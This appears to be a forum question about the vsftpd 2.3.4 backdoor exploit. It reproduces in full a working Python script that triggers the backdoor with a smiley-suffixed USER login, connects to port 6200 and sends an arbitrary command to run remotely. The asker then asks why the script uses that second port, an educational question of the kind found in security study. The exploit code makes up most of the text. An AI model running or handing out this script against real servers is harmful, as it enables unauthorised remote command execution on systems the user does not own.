Problem in understanding the second try in vsftpd-2.3.4-exploit

Question

This is the source code of vsftpd-2.3.4-exploit

#!/usr/bin/python3
import socket
import sys
import time


def exploit(ip, port, command):
    """ Triggers vsftpd 2.3.4 backdoor and prints supplied command's output """

    try:
        print('[*] Attempting to trigger backdoor...')
        ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ftp_socket.connect((ip, port))

        # Attempt to login to trigger backdoor
        ftp_socket.send(b'USER letmein:)\n')
        ftp_socket.send(b'PASS please\n')
        time.sleep(2)
        ftp_socket.close()
        print('[+] Triggered backdoor')

    except Exception:
        print('[!] Failed to trigger backdoor on %s' % ip)

    try:
        print('[*] Attempting to connect to backdoor...')
        backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        backdoor_socket.connect((ip, 6200))
        print('[+] Connected to backdoor on %s:6200' % ip)
        command = str.encode(command + '\n')
        backdoor_socket.send(command)
        response = backdoor_socket.recv(1024).decode('utf-8')
        print('[+] Response:\n', response, sep='')
        backdoor_socket.close()

    except Exception:
        print('[!] Failed to connect to backdoor on %s:6200' % ip)


if __name__ == '__main__':

    if len(sys.argv) < 4:
        print('Usage: ./vsftpd_234_exploit.py <IP address> <port> <command>')
        print('Example: ./vsftpd_234_exploit.py 192.168.1.10 21 whoami')

    else:
        exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])

So documentation say :

Usage: ./vsftpd_234_exploit.py [IP address] [port] [command] Example: ./vsftpd_234_exploit.py 192.168.1.10 21 whoami

This mean we want to to connect to an ftp server with port 21 and we want to run whoamoi. I can connect to FTP server with port 21 with this program that mean the first part of program is running for me but in the second try program want to connect to port 6200 and it fails for me.so i know because this port is close from server side but port 21 is open and i can connect to it. My question is about the second try:why this program want to connect to that port?